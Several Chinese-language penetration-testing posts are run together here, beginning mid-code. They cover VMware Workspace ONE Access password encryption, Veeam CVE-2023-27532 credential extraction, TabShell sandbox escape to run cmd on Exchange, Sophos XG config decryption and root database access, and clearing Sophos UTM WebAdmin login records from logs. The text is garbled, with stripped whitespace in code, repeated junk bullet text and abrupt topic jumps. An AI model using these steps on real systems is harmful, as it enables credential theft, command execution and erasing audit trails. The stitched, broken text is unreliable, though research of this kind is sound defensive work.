privateStringAES_encrypt(@Nonnullbyte[]clearData,@Nonnullbyte[]key,@NonnullEncryptionAlgorithmsencAlg)throwsEncryptionServiceException{

Preconditions.checkNotNull(clearData);

Preconditions.checkNotNull(key);

Preconditions.checkNotNull(encAlg);

Preconditions.checkArgument(clearData.length!=0);

try{

StringcipherName=encAlg.getCipherName();

Ciphercipher=Cipher.getInstance(cipherName,provider);

intnonceSize=encAlg.getNonceSize(cipher.getBlockSize());

IvParameterSpecivSpec=null;

StringencodedIv;

if(nonceSize0){

byte[]iv=newbyte[nonceSize];

srand.nextBytes(iv);

ivSpec=newIvParameterSpec(iv);

encodedIv=newString(Hex.encode(iv),StandardCharsets.US_ASCII);

}else{

encodedIv='';

}

if(encAlg.forcePadding()){

clearData=ArrayUtils.add(clearData,(byte)1);

}

SecretKeysecret=newSecretKeySpec(key,cipherName);

cipher.init(1,secret,ivSpec,srand);

byte[]data=cipher.doFinal(clearData);

Stringoutput=Integer.toString(4)+':'+encodedIv+':'+newString(Hex.encode(data),StandardCharsets.US_ASCII);

returnoutput;

}catch(InvalidKeyException|BadPaddingException|IllegalBlockSizeException|InvalidAlgorithmParameterException|NoSuchPaddingException|NoSuchAlgorithmException|FipsUnapprovedOperationErrorvar12){

log.error('FailedtoencryptwithAES:'+var12.getMessage());

thrownewEncryptionServiceException(var12);

}

}加密的主要實現代碼2:

StringencryptedData=Integer.toString(1)+','+encKey.getSafeUuid().toString()+','+this.AES_encrypt(clearData,aesKey,encAlg);5.8443端口登錄口令

登錄口令加密保存在文件/usr/local/horizon/conf/config-admin.json

加密的主要實現代碼:

privatevoidsetPassword(StringnewPassword,booleanisSet)throwsAdminAuthException{

intic=this.passwordAuthenticationUtil.getIc(iterationCountBase,iterationCountRange);

try{

StringnewEncryptedPassword=this.passwordAuthenticationUtil.createPWInfo('admin','admin',ic,newPassword);

PasswordInfonewPasswordInfo=newPasswordInfo(newEncryptedPassword,isSet);

if(this.passwordInfo!=null){

newPasswordInfo.setAttemptDelay(this.passwordInfo.getAttemptDelay());

newPasswordInfo.setMaxAttemptCount(this.passwordInfo.getMaxAttemptCount());

}

objectMapper.writeValue(this.passwordInfoFile,newPasswordInfo);

}catch(IOException|EncryptionServiceExceptionvar7){

thrownewAdminAuthException('Failedtosetpassword'+var7.getMessage(),var7);

}

try{

this.loadEncryptedPasswordFromFile();

}catch(IOExceptionvar6){

thrownewAdminAuthException('Failedtoloadstoredpassword'+var6.getMessage(),var6);

}

}0x04 小結在我們搭建好VMware Workspace ONE Access漏洞調試環境後,接下來就可以著手對漏洞和數據庫口令的解密方法進行學習。

0x00 前言本文以CVE-2023-27532為例,介紹Veeam Backup Replication漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

數據庫憑據提取

CVE-2023-27532簡要分析

0x02 環境搭建1.軟件安裝安裝文檔:https://helpcenter.veeam.com/archive/backup/110/vsphere/install_vbr.html

軟件下載地址:https://www.veeam.com/download-version.html

License申請地址:https://www.veeam.com/smb-vmware-hyper-v-essentials-download.html

下載得到iso文件,安裝時需要使用郵箱獲得的License文件

2.默認目錄安裝目錄:C:\Program Files\Veeam\

日誌路徑:C:\ProgramData\Veeam\Backup

3.默認端口Veeam.Backup.Service ports: 9392,9401(SSL)

Veeam.Backup.ConfigurationService port: 9380

Veeam.Backup.CatalogDataService port: 9393

Veeam.Backup.EnterpriseService port:9394

Web UI ports: 9080,9443(SSL)

RESTful API ports: 9399,9398(SSL)

0x03 調試環境搭建1.定位進程執行命令:netstat -ano |findstr 9401

返回結果:

微信截图_20230404142903.png

定位到進程pid為7132,進程名稱為Veeam.Backup.Service.exe

使用dnSpy Attach到進程Veeam.Backup.Service.exe

2.調試設置為了在Debug過程中能夠查看變量內容,需要創建以下文件:

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.DBManager.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.ServiceLib.ini

C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.ini

內容為:

2.png0x04 數據庫憑據提取1.獲得數據庫連接配置(1)獲得數據庫連接端口

打開SQL Server 2016 Configuration Manager,選擇SQL Server Services,可以看到SQL Server(VEEAMSQL2016)對應的Process ID為1756,如下圖

1.png查看進程對應的端口:netstat -ano|findstr 1756

返回結果:

3.png

得到連接端口49720

(2)獲得數據庫名稱

方法1:

進入Configuration Database Connection Settings,在頁面中可以看到Database name為VeeamBackup,認證方式為Windows Authentication,如下圖

下载.png

方法2:

讀取註冊表鍵值:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication' /v SqlDatabaseName

2.數據庫連接(1)使用界面程序

這裡使用DbSchema

選擇SqlServer,配置如下圖

3.png

成功連接如下圖

下载 (1).png

數據庫選擇VeeamBackup.dbo,進入數據庫頁面,全局搜索關鍵詞password,得到相關的查詢語句:

4.png執行後獲得數據庫存儲的憑據信息,如下圖

下载 (2).png

(2)使用Powershell

參考資料:https://github.com/sadshade/veeam-creds

veeam-creds在Veeam Backup and Replication 11及更高版本測試時會報錯,提示:

5.png

這是因為https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1#L32處使用了sqloledb,當前系統的sqloledb已經過期

這裡可以選擇使用MSOLEDBSQL或MSOLEDBSQL19解決

查看當前系統是否安裝MSOLEDBSQL或MSOLEDBSQL19的Powershell命令:(New-Object System.Data.OleDb.OleDbEnumerator).GetElements() | select SOURCES_NAME, SOURCES_DESCRIPTION

返回結果示例:

6.png

以上結果顯示當前系統安裝了MSOLEDBSQL19,所以只需要將sqloledb替換為MSOLEDBSQL19即可

補充:安裝MSOLEDBSQL或MSOLEDBSQL19的方法下載地址:https://learn.microsoft.com/en-us/sql/connect/oledb/download-oledb-driver-for-sql-server?source=recommendationsview=sql-server-ver16

命令行安裝方法:msiexec /i msoledbsql.msi /qn IACCEPTMSOLEDBSQLLICENSETERMS=YES

安裝前需要滿足Microsoft Visual C++ Redistributable版本最低為14.34

查看Microsoft Visual C++ Redistributable版本的簡單方法:

通過文件夾名稱獲得:dir /o:-d 'C:\ProgramData\Package Cache'

返回結果示例:

7.png

從中可以得出Microsoft Visual C++ Redistributable版本為14.29.30037,需要安裝更高版本的Microsoft Visual C++ Redistributable,下載地址:https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170

x86和x64均需要安裝,veeam-creds運行成功如下圖

下载 (3).png

0x05 CVE-2023-27532簡要分析Y4er公佈了調用CredentialsDbScopeGetAllCreds獲得明文憑據的POC:https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/

1.憑據位置此處的明文憑據對應的位置為:Veeam Backup Replication Console-Manage Credentials,默認明文口令為空,如下圖

4.png調試斷點位置為Veeam.Backup.DBManager.dll-CCredentialsDbScope,如下圖

下载 (4).png

2.數據解析POC最終的返回結果為序列化之後的xml,將ParamValue作Base64解密後可以看到明文數據,但是格式不對,存在亂碼

這裡可以調用Veeam自帶的dll反序列化數據,得到正確的格式

格式化輸出字符串的代碼示例:

8.png

需要引用dll文件:

Veeam.Backup.Common.dll

Veeam.Backup.Configuration.dll

Veeam.Backup.Interaction.MountService.dll

Veeam.Backup.Logging.dll

Veeam.Backup.Model.dll

Veeam.Backup.Serialization.dll

Veeam.TimeMachine.Tool.dll

編譯生成的文件需要在本地安裝Veeam的環境下使用,否則報錯提示:

9.png 10.png

程序成功執行的結果示例如下圖

5.png0x06 小結本文以CVE-2023-27532為例,介紹搭建Veeam Backup Replication漏洞調試環境的相關問題和解決方法。

0x00 前言利用TabShell可以使用普通用戶逃避沙箱並在Exchange Powershell中執行任意cmd命令,本文將要介紹利用TabShell執行cmd命令並獲得返回結果的方法,分享通過Python編寫腳本的細節。

0x01 簡介本文將要介紹以下內容:

執行cmd命令並獲得返回結果的方法

Python實現

0x02 執行cmd命令並獲得返回結果的方法testanull公開了一個利用的POC,地址如下:https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

為了能夠支持更多的命令,POC需要做簡單修改,細節如下:

某些命令無法執行,例如netstat -ano或者systeminfo

解決方法:

去掉命令:$ps.WaitForExit()

執行cmd命令並獲得返回結果的方法有以下兩種:

1.使用Powershell連接Exchange服務器,實現TabShellPowershell命令示例:

1.png 2.png

需要注意以下問題:

需要域內主機上執行

需要fqdn,不支持IP

連接url可以選擇http或https

認證方式可以選擇Basic或Kerberos

2.通過SSRF漏洞調用Exchange Powershell,實現TabShell這裡需要通過Flask建立本地代理服務器,方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

Powershell命令示例:

3.png 4.png

0x03 Python實現這裡需要考慮兩部分,一種是通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現,另一種是通過Powershell Session實現TabShell的Python實現,後者比前者需要額外考慮通信數據的編碼和解碼,具體細節如下:

1.通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現為了分析中間的通信數據,抓取明文數據的方法可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x04,在Flask中輸出中間的通信數據

關鍵代碼示例:

5.png

通過分析中間的通信數據,我們可以總結出以下通信過程:

(1)creationXml

初始化,構造原始數據

(2)ReceiveData

循環多次執行,返回結果中包含'RunspaceState'作為結束符

(3)執行命令;/./././Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression

在返回數據中獲得CommandId

(4)讀取輸出結果

通過CommandId讀取命令執行結果

(5)執行命令$ExecutionContext.SessionState.LanguageMode='FullLanguage'

在返回數據中獲得CommandId

(6)讀取輸出結果

通過CommandId讀取命令執行結果

(7)執行命令並獲得返回結果

依次執行以下命令:

6.png在返回數據中獲得CommandId,並通過CommandId讀取命令執行結果,這些命令的格式相同,發送數據的格式如下:

7.png 8.png 9.png 10.png 11.png

(8)執行命令並獲得最終返回結果

發送數據的格式同(7)一致,執行的命令為:$Out,在返回數據中獲得CommandId,並通過CommandId讀取最終的命令執行結果,提取執行結果的示例代碼:

12.png

2.通過Powershell Session實現TabShell的Python實現這裡可以藉鑑上一篇文章《渗透技巧——Exchange Powershell的Python实现》 得出的經驗:兩者通信過程一致,只是通過Powershell Session實現TabShell的Python實現需要額外考慮通信數據的編碼和解碼

通信數據的編碼和解碼可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x03

數據的編碼和解碼示例代碼如下:

13.png 14.png完整代碼的輸出結果如下圖

15.png

0x04 小結本文介紹了利用TabShell執行cmd命令並獲得返回結果的方法,改進POC,分享通過Python編寫腳本的細節。

0x00 前言Sophos UTM和Sophos XG是兩款不同的產品,前者偏向於通用威脅管理,後者偏向於硬件防火牆。本文將要介紹Sophos XG漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云環境搭建

马云惹不起马云jetty調試環境搭建

马云惹不起马云csc配置文件解密

马云惹不起马云 Postgresql數據庫查詢

0x02 基礎知識架構如下圖

image.png

注:圖片引用自https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html

總的來說,分為以下三部分:

马云惹不起马云 Jetty:處理Web數據,將數據轉發至csc作進一步處理

马云惹不起马云csc:主程序:加載Perl Packages,實現主要功能

马云惹不起马云Postgresql:用來存儲數據

我在實際研究過程中,這三部分遇到了以下問題:

马云惹不起马云Jetty:添加調試信息後無法啟動java

马云惹不起马云csc:csc加載Perl Packages後會自動刪除,無法獲得Perl Packages的實現細節

马云惹不起马云Postgresql:用戶權限低,無法查詢數據庫表

下面將要逐個介紹三個問題的解決方法。

0x03 環境搭建參考資料:

https://docs.sophos.com/nsg/sophos-firewall/18.5/Help/en-us/webhelp/onlinehelp/VirtualAndSoftwareAppliancesHelp/VMware/VMwareInstall/index.html

1.下載安裝包官方網站默認只提供最新版本的下載,但是可以通過猜測正確的版本號下載舊版本

例如18.5.3 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware:

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件,解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8,VMnet7設置為Host-only和172.16.16.0,VMnet8設置為NAT,具體方法如下:

(1)VMnet7

打開VMware Workstation,依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為:

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為:

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖:

image.png

5.啟動Sophos XG默認登錄口令:admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇:I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後,重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令:ps ww|grep java

輸出:

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty,內容如下:

image.png

3.添加調試參數修改文件屬性:mount -o rw,remount /

在exec所在行添加調試參數:'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息,直接運行/usr/bin/jetty

輸出:

image.png

發現是JDK的問題,這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾:cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

將jdk-11.0.15_linux-x64_bin.tar.gz解壓:tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令:service tomcat:restart -ds nosync

查看服務狀態:service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改,執行命令:ps ww|grep java

輸出:

image.png

7.修改防火牆規則執行命令:iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中,如果遇到無法下斷點的情況,重啟java服務即可:service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令:ps ww|grep csc

部分輸出:

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件,而/_conf/cscconf.bin是一個加密的文件,所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼,改變實現邏輯,導出解密後的配置文件。

使用IDA加載csc,查看main()函數的實現邏輯,部分代碼:

image.png

分析以上代碼,csc先調用extract_conf()函數導出配置,最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件,導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼:

image.png

分析以上代碼,csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密,接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

綜合以上分析,我們可以採取以下方式導出配置文件:修改csc程序,將釋放路徑/_conf/csc修改為另一路徑,例如/var/aaaaa,那麼,csc在刪除配置文件時,由於指定了固定的絕對路徑,導致無法刪除新的文件夾,這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下:(1)修改csc使用IDA加載csc,查看Exports,找到extract_conf,雙擊進入IDA View,定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc,如下圖:

image.png

切換到Hex View,如下圖:

image.png

將/_conf/csc修改為/var/aaaaa,如下圖:

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK,生成新的文件csc

(2)替換csc通過ssh登錄,上傳新的文件csc,保存至/tmp/csc

備份csc並進行替換,執行以下命令:

image.png

(3)確認配置文件是否導出成功等待系統重啟,進入底層shell,依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa,如下圖:

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄,下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息,執行命令:netstat -tulpen |grep postgres

輸出:

image.png

通過搜索,發現以上三個數據庫的連接信息依次對應以下三個文件:

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下:

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1:

image.png

輸出:

image.png

提示沒有權限。

測試命令2:

image.png

能夠獲得用戶信息。

注:將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知,用戶pgrouser和nobody都不是root用戶,功能受限,下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測,定位到\service\postgres.csc,關鍵文件內容:

image.png

找到關鍵用戶pgroot

測試命令3:

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。

0x00 前言對於Sophos UTM設備,在web管理頁面中,Last WebAdmin Sessions會記錄用戶每次登錄的信息,本文僅在技術研究的角度介紹清除指定Last WebAdmin Sessions記錄的方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 研究過程

马云惹不起马云實現方法

0x02 Last WebAdmin Sessions簡介在web管理頁面中,選中Management後會顯示Last WebAdmin Sessions記錄,如下圖:

image.png

記錄包括以下內容:

马云惹不起马云 User:登錄用戶名

马云惹不起马云Start:登錄時間

马云惹不起马云State:退出時間

马云惹不起马云IP address:登錄IP

马云惹不起马云Changelog:修改的配置

對於Changelog,點擊Show,會顯示修改的配置,如下圖

image.png

默認配置下,Last WebAdmin Sessions會顯示最近的20條記錄。

0x03 研究過程1.嘗試修改/var/confd/var/storage/cfg在上篇文章《Sophos UTM利用分析——导出配置文件》 提到,/var/confd/var/storage/cfg存儲Sophos UTM的配置信息,所以猜測通過修改/var/confd/var/storage/cfg文件可以實現Last WebAdmin Sessions記錄的清除。

/var/confd/var/storage/cfg的文件格式為Perl Storable files,這裡使用StorableEdit來編輯文件。

向Sophos UTM上傳文件storableedit-1.5.pl,執行命令:

./storableedit-1.5.plcfg結果如下圖:

image.png

解析出的文件結構同使用SophosUTM_ConfigParser.py導出的結果一致。

查看配置信息,命令如下:

cdlastchange

cdREF_AaaGroGroup1

ls將所有屬性置空,命令如下:

$cur-{'user'}='',$cur-{'time'}='',$cur-{'sid'}='',$cur-{'srcip'}=''保存文件,命令如下:

x然而,修改cfg文件後不會影響Last WebAdmin Sessions記錄。

2.反編譯web管理頁面的源碼web管理頁面的程序文件路徑:/var/sec/chroot-httpd/var/webadmin/webadmin.plx

使用SophosUTM_plxDecrypter.py反編譯/var/sec/chroot-httpd/var/webadmin/webadmin.plx

定位到關鍵文件:export-webadmin.plx\wfe\asg\modules\asg_dashboard.pm

定位到關鍵內容:my $userlog=$sys-userlog_read(max=20, facility='webadmin,acc-agent,acc_sso') || [];

如下圖:

image.png

從輸出結果中定位到關鍵函數:userlog_read

3.定位關鍵函數userlog_readgoogle搜索$sys-userlog_read,找到一份參考文檔:https://community.sophos.com/utm-firewall/astaroorg/f/asg-v8-000-beta-closed/69661/7-920-bug-open-failed-smtp-relay-login-is-showing-up-on-last-webadmin-logins

文檔中有關於userlog_read的一些描述,如下圖:

image.png

從描述得出,userlog_read同cc命令存在關聯。

4.反編譯cc命令對應的進程cc命令對應的文件為/var/confd/confd.plx,使用SophosUTM_plxDecrypter.py反編譯/var/confd/confd.plx

5.獲得函數userlog_read細節搜索userlog_read相關內容,命令如下:

grep-iR'userlog_read'/home/kali/1/decrypt/Export-confd.plx輸出結果如下圖:

image.png

從輸出結果中定位關鍵文件:Export-confd.plx/Info/webadmin/log.pm

定位到函數定義:

subuserlog_read{

my($self,%args)=@_;

$args{max}=$args{sid}?1:$args{max}||20;

$args{facility}={map{($_=1)}split/,/,$args{facility}}

if$args{facility};

my$sessions;

$sessions=_consult_db($self,\%args)

unless$self-get(qw(reportinguserlog_from_logs));

$sessions=_iterate_files($self,\%args)

unlessref$sessionseq'ARRAY';

foreachmy$sd(@$sessions){

$sd-{state}=(-e'$config:session_dir/$sd-{sid}'?'active':'ended')

if!$sd-{state}||$sd-{state}eq'active';

}

return$sessions;

}6.函數userlog_read代碼分析代碼涉及兩個操作,分別為讀取數據庫和讀取文件,詳情如下:

(1)數據庫操作

關鍵代碼:

sub_consult_db{

my($self,$args)=@_;

my$facility_selection='';

$facility_selection='WHEREfacilityin('.

join(',',map{'?'}keys%{$args-{facility}}).')'

if$args-{facility};

my%sql=(

sessions='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessions'.$facility_selection

.'ORDERBYtimeDESCLIMIT?',

session='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessionsWHEREsid=?',

nodes='SELECT*FROMconfd_nodesWHEREsid=$1ORDERBYtimeDESC',

objects='SELECT*FROMconfd_objectsWHEREsid=$1ORDERBYtimeDESC',

);

#Preparedatabaseaccess.

my$db=Astaro:ADBS-new(dbName='reporting')orreturn;

while(my($key,$query)=each%sql){

$db-registerSQL($key,$query)orreturn;

}

#ListConfdsessions.

my$sessh;

if($args-{sid}){

$sessh=$db-getHandle('session')orreturn;

$sessh-execute($args-{sid})orreturn;

}elsif($args-{facility}){

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute(keys%{$args-{facility}},$args-{max})orreturn;

}else{

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute($args-{max})orreturn;

}

my$sessions=$sessh-fetchall_arrayref({});

my$nodeh=$db-getHandle('nodes')orreturn;

my$objh=$db-getHandle('objects')orreturn;

foreachmy$sd(@$sessions){

#Tweaksessiondata.

$sd-{time}=~tr/-/:-/;

$sd-{endtime}=~tr/-/:-/ifdefined$sd-{endtime};

$sd-{user}=delete$sd-{username};#userisareservedwordinSQL

$sd-{user}.='(SUM)'if$sd-{facility}eq'acc_sso';

$sd-{user}=utils:Sanitize:sanitize($sd-{user})if$sd-{user};

#Fetchnodechanges.

$nodeh-execute($sd-{sid})orreturn;

foreachmy$node(@{$nodeh-fetchall_arrayref({})}){

$node-{time}=~tr/-/:-/;

$node-{node_descr}=Message:get_phrase(

'N',$node,{Nattrs=['node']});

$sd-{main}{$node-{node}}||=[];

push@{$sd-{main}{$node-{node}}},$node;

}

#Fetchobjectchanges.

$objh-execute($sd-{sid})orreturn;

foreachmy$object(@{$objh-fetchall_arrayref({})}){

my$attrs=$object-{attrs}||[];

$object-{attributes}=[];

while(@$attrs){

my$name=shift@$attrs;

$object-{'attr_$name'}=shift@$attrs;

$object-{'oldattr_$name'}=shift@$attrs;

$object-{'descr_$name'}=Message:get_phrase(

'A',$object,{attr=$name});

push@{$object-{attributes}},$name;

}

delete$object-{attrs};

if(@{$object-{attributes}}){

$object-{attributes}=[sort@{$object-{attributes}}];

}else{

delete$object-{attributes};

}

$object-{time}=~tr/-/:-/;

$object-{obj_descr}=Message:get_phrase('O',$object,{});

$sd-{objects}{$object-{ref}}||=[];

push@{$sd-{objects}{$object-{ref}}},$object;

}

}

$db-disconnect;

return$sessions;

}代碼分析:

從數據庫reporting中分別執行以下操作實現數據讀取:

sessions:SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;

nodes:SELECT*FROMconfd_nodes;

objects:SELECT*FROMconfd_objects;經過測試分析,confd_sessions存儲Session信息。

讀取Session信息的cmd命令:

psqlreporting-Upostgres-c'SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;'(2)文件操作

關鍵代碼:

sub_iterate_files{

my($self,$args)=@_;

#choosethefirstfiletoprocess

my$filename='/var/log/confd.log';

if(defined$args-{time}){

my@then;

if($args-{time}=~/^(\d{4}):(\d\d):(\d\d)/){

@then=(0,0,12,$3,$2-1,$1-1900);

}else{

@then=localtime($args-{time});

}

my$then=POSIX:strftime('%F',@then);

my$now=POSIX:strftime('%F',localtime);

$filename=POSIX:strftime(

'/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz',

@then,

)if$thenne$now;

}

#processthefirstfile

my$sessions=[];

my$sdata={};

_parse_file($self,$filename,$sessions,$sdata,$args);

#ifneeded,processarchivedlogfiles

if(@$sessions$args-{max}not$args-{time}){

my$iter=File:Next:files({

file_filter=sub{/\.log\.gz$/},

sort_files=\File:Next:sort_reverse,

},'/var/log/confd');

while(@$sessions$args-{max}){

$filename=$iter-();

lastunlessdefined$filename;

my@new_sessions;

_parse_file($self,$filename,\@new_sessions,$sdata,$args);

push@$sessions,@new_sessions;

}

}

#limitthenumberofsessionstoreporton

splice@$sessions,$args-{max}if@$sessions=$args-{max};

return[@{$sdata}{@$sessions}];

}代碼分析:

讀取文件/var/log/confd.log,/var/log/confd.log只能保存現在時間到之前一段時間的日誌,更早時間的日誌會保存在/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz,例如2022年5月16日的日誌對應位置為/var/log/confd/2022/05/confd-2022-05-16.log.gz

經過測試分析,/var/log/confd.log存儲Session信息。

7.編輯文件中存儲的Session信息查看登錄成功的信息:

cat/var/log/confd.log|grepsuccess返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='System'sub='confd'name='authenticat ionsuccessful'user='admin'srcip='192.168.1.2'sid='8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab'facility='webadmin'client='webadmin.plx'cal l='new'May2300:19:33confd[41177]:Dsys:AUTOLOAD:307()=id='3100'severity='debug'sys='System'sub='confd'name='externalcall'user='admin's rcip='192.168.1.2'facility='webadmin'client='webadmin.plx'lock='none'method='get_SID'從結果中獲得sid為8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab

篩選出指定sid的信息:

cat/var/log/confd.log|grep8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='Sys

0x00 前言對於Sophos UTM設備,介紹利用方法的資料很少,本文將要介紹從零研究導出配置文件的過程,記錄細節,開源利用腳本。

0x01 簡介本文將要介紹以下內容:

Sophos UTM測試環境搭建

導出配置文件的研究過程

開源腳本

0x02 Sophos UTM測試環境搭建1.下載鏡像下載頁面:https://www.sophos.com/en-us/support/downloads/utm-downloads

這裡選擇版本9.711-5.1,分別有以下兩個鏡像文件:

ssi-9.711-5.1.iso,需要在Sophos設備上安裝,如果直接在VM中安裝,會提示'No appliance hardware has been detected' on appliance hardware

asg-9.711-5.1.iso,可在VM中安裝

測試環境使用VMware搭建,所以下載asg-9.711-5.1.iso

2.安裝鏡像配置好後等待系統重啟,訪問配置頁面:https://ip :4444/

設置admin account password,作為登錄配置頁面的用戶名和口令

3.配置需要填入License

4.開啟ssh登錄進入配置頁面後,依次選擇Management-System Settings-Shell Access,分別設置root用戶和loginuser用戶的口令

如下圖

b530cdf7a41d94e6689cc4bdf0e96a1.png

5.允許root用戶口令登錄sshsed-i's/PermitRootLoginno/PermitRootLoginyes/g'/etc/ssh/sshd_config

/var/mdw/scripts/sshdrestart0x03 導出配置文件的研究過程1.查詢postgresql數據庫配置文件的位置:/var/storage/pgsql92/data/postgresql.conf

默認配置下,連接數據庫不需要口令

連接命令:

psql-hlocalhost-Upostgres數據庫內容如下圖

49e2ee52ff31e485e5037576a911104.png

但我在數據庫中沒有找到配置信息

2.查詢文檔獲得查看配置的思路依次執行以下命令:

cc

webadmin

port$獲得了webadmin的port信息,如下圖

d28c5771af3f08a4229e8cc6d4d2fc1.png

從輸出內容上,發現cc命令連接了127.0.0.1的4472端口,接下來打算從端口入手

3.定位同4472端口相關的進程獲得4472端口對應的進程pid:

netstat-ltp|grep4472返回內容如下圖

621e7e46b449960b11096a59a03ecfd.png

從返回內容可以看到對應的進程pid為4407

4.查看pid 4407的進程信息依次執行以下命令:

cd/proc/4407/cwd

ls返回內容如下圖

386ae6b895d3fb67515ee5cce4e206e.png

從返回內容獲得以下信息:

目錄為/var/confd

配置文件為config.pm

主程序為confd.plx,無法直接查看源代碼

5.反編譯confd.plx經過搜索,在《网络设备分析实战 | Sophos UTM固件反编译Perl源码》 獲得提示:plx文件是由PerlAPP工具編譯而來,可通過動態調試的方法使用IDA反編譯出源碼

經過搜索,在《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 獲得更為簡單的反編譯方法:通過Python實現靜態反編譯

參照《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中的方法在反編譯confd.plx的過程中,會遇到bug,我們需要修改《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中提到的bfs_extract.py

